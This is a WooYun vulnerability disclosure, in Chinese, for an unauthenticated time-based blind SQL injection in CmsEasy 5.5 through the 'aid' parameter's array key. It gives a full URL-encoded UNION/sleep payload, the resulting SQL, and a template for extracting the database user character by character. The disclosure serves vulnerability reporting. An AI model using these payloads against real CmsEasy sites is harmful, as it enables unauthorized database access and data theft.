漏洞概要 关注数(32) 关注此漏洞
缺陷编号: WooYun-2014-75917
漏洞标题: cmseasy前台sql盲注(绕过union,sleep等函数,无需登录,无防御)
相关厂商: cmseasy
漏洞作者: menmen519
提交时间: 2014-09-12 15:53
公开时间: 2014-12-11 15:54
漏洞类型: SQL注射漏洞
危害等级: 高
自评Rank: 20
漏洞状态: 厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: php源码审核 sql注射漏洞利用技巧
漏洞详情
披露状态:
2014-09-12: 细节已通知厂商并且等待厂商处理中
2014-09-13: 厂商已经确认,细节仅向厂商公开
2014-09-16: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-11-07: 细节向核心白帽子及相关领域专家公开
2014-11-17: 细节向普通白帽子公开
2014-11-27: 细节向实习白帽子公开
2014-12-11: 细节向公众公开
简要描述:
cmseasy 前台sql盲注(绕过union,sleep等函数,无需登录,无防御)
详细说明:
archive_act.php:(line:27-33)
这里有一句:
$this->view->showarchive = archive::getInstance()->getrow(front::get('aid'));
我们跟进去这个函数getrow:
然后在看看这个函数condition:
这里我们发现了如果传递进来的东西key没有做任何过滤,
我们发送请求:
url:**.**.**.**/CmsEasy_5.5_UTF-8_20140818_new/uploads/index.php?case=archive&aid[typeid%60%3d1%20UNION%20SELECT/**/1,2,3,if(1,sleep(if(1,5,1)),1),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58%23]=1
在后台抓取后看看是否效果sql语句完美执行:
SELECT * FROM `cmseasy_archive` WHERE `typeid`=1 UNION SELECT/**/1,2,3,if(1,sleep(if(1,5,1)),1),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58#`='1' and (state IS NULL or state<>'-1') ORDER BY 1 desc limit 1
一个完美的sql语句执行完毕,这时候网页刷新时间为5秒钟,那么下来我们怎样去猜测字段
SELECT * FROM `cmseasy_archive` WHERE `typeid`=1 UNION SELECT/**/1,2,3,if(ascii(substr(user(),1,1))=$NUM,sleep(if(1,5,1)),1),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58#`='1' and (state IS NULL or state<>'-1') ORDER BY 1 desc limit 1
我们可以改变$NUM的值 这里要进行urlencode
ok剩余的就不解释了
漏洞证明:
修复方案:
版权声明:转载请注明来源 menmen519@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:10
确认时间:2014-09-13 07:58
厂商回复:
感谢
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值